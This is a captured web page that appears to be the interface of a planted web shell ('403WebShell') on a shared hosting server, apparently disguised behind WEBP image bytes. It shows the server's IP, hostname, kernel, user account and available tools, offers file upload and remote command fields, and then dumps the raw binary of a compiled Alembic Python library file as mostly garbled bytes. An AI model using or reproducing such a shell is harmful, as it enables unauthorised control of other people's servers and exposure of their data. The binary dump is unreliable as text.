....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.126.4  /  Your IP : 216.73.216.178
Web Server : Apache
System : Linux host55.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : aeaw ( 7508)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/alembic/ddl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/alembic/ddl/__pycache__/impl.cpython-311.pyc
�

�hR]��^�UddlmZddlmZddlZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lmZddlm
Z
ddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZer~ddlmZddlmZddlmZddlmZddlmZddl m!Z!ddl"m#Z#ddl"m$Z$ddl"m%Z%dd l&m'Z'dd!l&m(Z(dd"l&m)Z)dd#l&m*Z*dd$l&m+Z+dd%l&m,Z,dd&l-m.Z.dd'l/m0Z0dd(lm1Z1dd)l2m3Z3dd*l4m5Z5dd+l4m6Z6Gd,�d-e7��Z8iZ9d.e:d/<ed0gd1���Z;Gd2�d3e8�4��Z<d5�Z=dS)6�)�annotations)�
namedtupleN)�Any)�Callable)�Dict)�List)�Optional)�Sequence)�Set)�Tuple)�Type)�
TYPE_CHECKING)�Union)�cast��schema)�text�)�base�)�util)�sqla_compat)�Literal)�TextIO)�
Connection)�Dialect)�CursorResult)�	Inspector)�
ClauseElement)�
ColumnElement)�quoted_name)�Column)�
Constraint)�ForeignKeyConstraint)�Index)�Table)�UniqueConstraint)�TableClause)�
TypeEngine)�_ServerDefault)�AutogenContext)�ApplyBatchImpl)�BatchOperationsImplc��eZdZd	d�ZdS)
�ImplMeta�	classname�str�bases�Tuple[Type[DefaultImpl]]�dict_�Dict[str, Any]c�h�t�||||��}d|vr|t|d<|S)N�__dialect__)�type�__init__�_impls)�clsr0r2r4�newtypes     �G/opt/cloudlinux/venv/lib64/python3.11/site-packages/alembic/ddl/impl.pyr9zImplMeta.__init__4s:���-�-��Y��u�=�=���E�!�!�+.�F�5��'�(���N)r0r1r2r3r4r5)�__name__�
__module__�__qualname__r9�r>r=r/r/3s(������	�	�	�	�	�	r>r/zDict[str, Type[DefaultImpl]]r:�Params)�token0�tokens�args�kwargsc��eZdZUdZdZdZdZddhfZded<d	Z	d
ed<dZ
d
ed<d�d�Zed�d���Z
d�d"�Zd�d%�Zd�d*�Zed�d+���Zd,d	ej��fd�d5�Z	d�d�d7�Z												d�d�dM�Z	d�d�dQ�Z	d�d�dR�Zd�dT�Zd�dV�Z	d�d�dZ�Zd�d[�Zd�d\�Zd�d_�Zd�d`�Z d�da�Z!d�dc�Z"d�dd�Z#	d�d�dj�Z$d�dm�Z%d�dp�Z&d�ds�Z'd�dv�Z(dw�Z)d�d~�Z*d�Z+	d�d�d��Z,d�d��Z-d�d��Z.d��Z/d�d��Z0d�d��Z1d�d��Z2d�d��Z3d��Z4d�d��Z5d��Z6d,S)��DefaultImpla�Provide the entrypoint for major migration operations,
    including database-specific behavioral variances.

    While individual SQL/DDL constructs already provide
    for database-specific implementations, variances here
    allow for entirely different sequences of operations
    to take place for a particular migration, such as
    SQL Server's special 'IDENTITY INSERT' step for
    bulk inserts.

    �defaultF�;�NUMERIC�DECIMALzTuple[Set[str], ...]�
type_synonymsrBz
Sequence[str]�type_arg_extract)�on_nullzTuple[str, ...]�identity_attrs_ignore�dialectr�
connection�Optional[Connection]�as_sql�bool�transactional_ddl�Optional[bool]�
output_buffer�Optional[TextIO]�context_optsr5�return�Nonec���||_||_||_|�dd��|_||_i|_||_|�||_|jr|jstj
d���dSdS)N�
literal_bindsFz3Can't use literal_binds setting without as_sql mode)rRrSrU�getr_rY�memor[rWr�CommandError)�selfrRrSrUrWrYr[s       r=r9zDefaultImpl.__init__\s������$������)�-�-�o�u�E�E���*�����	�(����(�%6�D�"���	��;�
��'�I����	�	�
�
r>�Type[DefaultImpl]c�&�t|jS�N)r:�name)r;rRs  r=�get_by_dialectzDefaultImpl.get_by_dialectvs���g�l�#�#r>rr1c��|j�J�|j�|dz��|j���dS)Nz

)rY�write�flush)rcrs  r=�
static_outputzDefaultImpl.static_outputzsG���!�-�-�-��� � ����/�/�/��� � �"�"�"�"�"r>�batch_opr-c��dS)z�Return True if the given :class:`.BatchOperationsImpl`
        would need the table to be recreated and copied in order to
        proceed.

        Normally, only returns True on SQLite when operations other
        than add_column are present.

        FrB)rcrms  r=�requires_recreate_in_batchz&DefaultImpl.requires_recreate_in_batchs	���ur>�
batch_implr,�tabler&c��dS)z�perform any operations needed on a table before a new
        one is created to replace it in batch mode.

        the PG dialect uses this to drop constraints on the table
        before the new one uses those same names.

        NrB)rcrprqs   r=�prep_table_for_batchz DefaultImpl.prep_table_for_batch�����r>c��|jSrf)rS�rcs r=�bindzDefaultImpl.bind�s
����r>N�	construct�Union[ClauseElement, str]�execution_options�Optional[dict[str, Any]]�multiparams�Sequence[dict]�params�Optional[CursorResult]c�T�t|t��rt|��}|jr�|s|rt	d���|jr-t|tj��stddi���}ni}|j	dd|j
i|��}|�t|���dd���
��|jz��dS|j}|�J�|r
|jdi|��}|rt|t"��sJ�||fz
}|�||��S)	Nz+Execution arguments not allowed with as_sqlr_T)�compile_kwargsrR�	z    rB)�
isinstancer1rrU�	Exceptionr_r�
DDLElement�dict�compilerRrl�replace�strip�command_terminatorrSrz�tuple�execute)rcrxrzr|r~�
compile_kw�compiled�conns        r=�_execzDefaultImpl._exec�s����i��%�%�	(��Y���I��;�	��
O�f�
O�� M�N�N�N��!�
 �*��6�,�+�+�
 �"�/�4�1H�I�I�I�
�
��
�(�y�(������(2���H�
����H�
�
�%�%�d�F�3�3�9�9�;�;��)�*�
�
�
��4��?�D��#�#�#� �
C�-�t�-�B�B�0A�B�B���
)�!�+�u�5�5�5�5�5���y�(���<�<��;���
r>�sqlc�2�|�||��dSrf)r�)rcr�rzs   r=r�zDefaultImpl.execute�s��
	
�
�
�3�)�*�*�*�*�*r>�
table_name�column_name�nullable�server_default�%Union[_ServerDefault, Literal[False]]rg�
Optional[str]�type_�Optional[TypeEngine]r�
autoincrement�comment�$Optional[Union[str, Literal[False]]]�existing_comment�
existing_type�existing_server_default�Optional[_ServerDefault]�existing_nullable�existing_autoincrement�kwrc���|�|�tjdd���|�/|�tj|||||||
|
�����|dur{i}tj||��r
tj}n3tj||��rtj	}||d<ntj
}|�||||f||||
|
d�|����|�/|�tj|||||||
|
�����|	dur/|�tj|||	||||
|
�����|�0|�tj
|||||||
�����dSdS)NzBautoincrement and existing_autoincrement only make sense for MySQL�)�
stacklevel)rr�r�r�r�F�impl)rr�r�r�)r�warnr�r�ColumnNullabler�_server_default_is_computed�ComputedColumnDefault�_server_default_is_identity�IdentityColumnDefault�
ColumnDefault�
ColumnType�
ColumnComment�
ColumnName)rcr�r�r�r�rgr�rr�r�r�r�r�r�r�r��cls_s                 r=�alter_columnzDefaultImpl.alter_column�s5��$�$�(>�(J��I�,��
�
�
�
�
���J�J��#����!�"/�,C�&7�%5�	�	�	�
�
�
���&�&��B��6�� 7���

*��1����8�� 7���
*��1��!��6�
�
��)���J�J�����"�
�"�"/�,C�&7�%5�
�
��
�
�
�
�
����J�J������!�"/�,C�&7�%5�	�	�	�
�
�
��%����J�J��"����!�"/�,C�&7�%5�	�	�	�
�
�
����J�J������!�"/�,C�&7����

�

�

�

�

��r>�column�Column[Any]�!Optional[Union[str, quoted_name]]c�Z�|�tj|||�����dS�Nr)r�r�	AddColumn)rcr�r�rs    r=�
add_columnzDefaultImpl.add_column<s-��	
�
�
�4�>�*�f�V�D�D�D�E�E�E�E�Er>c�Z�|�tj|||�����dSr�)r�r�
DropColumn)rcr�r�rr�s     r=�drop_columnzDefaultImpl.drop_columnDs-��	
�
�
�4�?�:�v�f�E�E�E�F�F�F�F�Fr>�constc��|j�|�|��r)|�tj|����dSdSrf)�_create_ruler�r�
AddConstraint�rcr�s  r=�add_constraintzDefaultImpl.add_constraintMsI����%��);�);�D�)A�)A�%��J�J�v�+�E�2�2�3�3�3�3�3�&�%r>r#c�T�|�tj|����dSrf)r�r�DropConstraintr�s  r=�drop_constraintzDefaultImpl.drop_constraintQs%���
�
�6�(��/�/�0�0�0�0�0r>�old_table_name�new_table_name�Union[str, quoted_name]c�Z�|�tj|||�����dSr�)r�r�RenameTable)rcr�r�rs    r=�rename_tablezDefaultImpl.rename_tableTs9��	
�
�
���^�^�F�K�K�K�	
�	
�	
�	
�	
r>c��|j�||jd|���|�t	j|����|j�||jd|���|jD])}|�t	j|�����*|j	j
o|j	j}|j}|r|r|�
|��|jD]"}|j}|r|r|�|���#dS�NF)�
checkfirst�_ddl_runner)�dispatch�
before_createrSr�r�CreateTable�after_create�indexes�CreateIndexrR�supports_comments�inline_commentsr��create_table_comment�columns�create_column_comment)rcrq�index�with_commentr�r�s      r=�create_tablezDefaultImpl.create_table^s6��
��$�$��4�?�u�$�	%�	
�	
�	
�	
�
�
�6�%�e�,�,�-�-�-�
��#�#��4�?�u�$�	$�	
�	
�	
��]�	2�	2�E��J�J�v�)�%�0�0�1�1�1�1�
�L�*�O�4�<�3O�/O�	��-���	-�|�	-��%�%�e�,�,�,��m�	3�	3�F��n�G��
3�<�
3��*�*�6�2�2�2��	3�	3r>c���|j�||jd|���|�t	j|����|j�||jd|���dSr�)r��before_droprSr�r�	DropTable�
after_drop�rcrqs  r=�
drop_tablezDefaultImpl.drop_tableus��
��"�"��4�?�u�$�	#�	
�	
�	
�	
�
�
�6�#�E�*�*�+�+�+�
��!�!��4�?�u�$�	"�	
�	
�	
�	
�	
r>r�r%c�T�|�tj|����dSrf)r�rr��rcr�s  r=�create_indexzDefaultImpl.create_index~s%���
�
�6�%�e�,�,�-�-�-�-�-r>c�T�|�tj|����dSrf)r�r�SetTableCommentr�s  r=r�z DefaultImpl.create_table_comment�s%���
�
�6�)�%�0�0�1�1�1�1�1r>c�T�|�tj|����dSrf)r�r�DropTableCommentr�s  r=�drop_table_commentzDefaultImpl.drop_table_comment�s%���
�
�6�*�5�1�1�2�2�2�2�2r>�ColumnElement[Any]c�T�|�tj|����dSrf)r�r�SetColumnComment)rcr�s  r=r�z!DefaultImpl.create_column_comment�s%���
�
�6�*�6�2�2�3�3�3�3�3r>c�T�|�tj|����dSrf)r�r�	DropIndexr�s  r=�
drop_indexzDefaultImpl.drop_index�s%���
�
�6�#�E�*�*�+�+�+�+�+r>T�Union[TableClause, Table]�rows�
List[dict]�multiinsertc
�4��t|t��std���|r*t|dt��std���|jrW|D]R}|�t
j���jdi�fd�|�	��D�������SdS|rd|r+|�t
j���|���dS|D]6}|�t
j���jdi|�����5dSdS)Nz
List expectedrzList of dictionaries expectedc	���i|]I\}}|t|tj��s'tj||�j|j���n|��JS))r�)r�r�_literal_bindparam�cr8)�.0�k�vrqs   �r=�
<dictcomp>z+DefaultImpl.bulk_insert.<locals>.<dictcomp>�sx���	�	�	�!%��1��$.� !�;�#A�$�$� #�{�=� !�1�E�G�A�J�O� � � � �"#�	�	�	r>)r|rB)
r��list�	TypeErrorr�rUr�r�_insert_inline�values�items)rcrqr�r��rows `   r=�bulk_insertzDefaultImpl.bulk_insert�s�����$��%�%�	=��O�,�,�,�
�	=�*�T�!�W�d�3�3�	=��;�<�<�<��;�	��
�
���
�
�<�K�.�u�5�5�<���	�	�	�	�),�	�	���	�	�	���
�
�
�
�
�
� �	
����J�J�#�2�5�9�9�t������� $�����
�
�D�K�6�u�=�=�D�K�K�s�K�K�����	
�	
��r>r"rCc�j�|jj�|j�����}tjd|��}g}d}|D]/}tjd|��r|}�|�|���0t|d|dd�gi��}|r�tjd|��D]y}d|vrG|�
d��\}	}
|
���|j|	���<�M|j
�|������z|S)Nz[\w\-_]+|\(.+?\)z^\(.*\)$rrz[^(),]+�=)rR�
type_compiler�processr8�lower�re�findall�match�appendrC�splitr�rGrF)rcr��
definitionrE�term_tokens�
paren_term�tokenr~�term�key�vals           r=�_tokenize_column_typez!DefaultImpl._tokenize_column_type�s*���\�/�7�7���D�D�J�J�L�L�
���/��<�<�����
��	*�	*�E��x��U�+�+�
*�"�
�
��"�"�5�)�)�)�)���A���A�B�B���R�@�@���	5��
�9�j�9�9�
5�
5���$�;�;�#�z�z�#���H�C��14�����F�M�#�)�)�+�+�.�.��K�&�&�t�z�z�|�|�4�4�4�4��
r>�inspector_params�metadata_paramsc�X�|j|jkrdSd�|jD��}d�|jg|jz��}d�|jg|jz��}|D]=}||h�|��s!|j|jh�|��rdS�>dS)NTc�&�g|]}d�|D����S)c�6�h|]}|�����SrB)r)r��ts  r=�	<setcomp>z=DefaultImpl._column_types_match.<locals>.<listcomp>.<setcomp>�s ��.�.�.�1�Q�W�W�Y�Y�.�.�.r>rB)r��batchs  r=�
<listcomp>z3DefaultImpl._column_types_match.<locals>.<listcomp>�s'��O�O�O�5�.�.��.�.�.�O�O�Or>� F)rDrN�joinrE�issubset)rcrr�synonyms�inspector_all_terms�metadata_all_termsr s       r=�_column_types_matchzDefaultImpl._column_types_match�s����"�o�&<�<�<��4�O�O�D�<N�O�O�O��!�h�h�
�
$�%�(8�(?�?�
�
��!�X�X�
�
#�$��'=�=�
�
���	�	�E�#�%7�8�A�A�%�H�H�
� �'��&�M��h�u�o�o�
��t�t�	
�
�ur>�inspected_params�meta_paramsc�t�t|j��t|j��kr|j|jkrdSt|j��t|j��kr|j|jkrdSd�|j�����}d�|j�����}|jD]_}t
j||��}t
j||��}|r1|r/|�d��|�d��krdS�`dS)aWe want to compare column parameters. However, we only want
        to compare parameters that are set. If they both have `collation`,
        we want to make sure they are the same. However, if only one
        specifies it, dont flag it for being less specific
        Fr"rT)	�lenrErFr#rrOr�search�group)rcr)r*�insp�meta�reg�mi�mms        r=�_column_args_matchzDefaultImpl._column_args_match�s'��
��"�#�#�s�+;�+B�'C�'C�C�C��"�&6�&=�=�=��5�
�� �!�!�S�)9�)>�%?�%?�?�?�� �$4�$9�9�9��5��x�x�(�/�0�0�6�6�8�8���x�x��*�+�+�1�1�3�3���(�	�	�C���3��%�%�B���3��%�%�B��
�b�
�R�X�X�a�[�[�B�H�H�Q�K�K�7�7��u�u���tr>�inspector_column�metadata_columnc��|�|��}|�|��}|�||��sdS|�||��sdSdS)z�Returns True if there ARE differences between the types of the two
        columns. Takes impl.type_synonyms into account between retrospected
        and metadata types
        TF)rr(r4)rcr5r6rrs     r=�compare_typezDefaultImpl.compare_typesm�� �5�5�6F�G�G���4�4�_�E�E���'�'�(8�/�J�J�	��4��&�&�'7��I�I�	��4��ur>c��||kSrfrB)rcr5r6�rendered_metadata_default�rendered_inspector_defaults     r=�compare_server_defaultz"DefaultImpl.compare_server_default s��*�-F�F�Fr>�conn_uniques�Set[UniqueConstraint]�conn_indexes�
Set[Index]�metadata_unique_constraints�metadata_indexesc��dSrfrB)rcr=r?rArBs     r=�correct_for_autogen_constraintsz+DefaultImpl.correct_for_autogen_constraints)s	��	
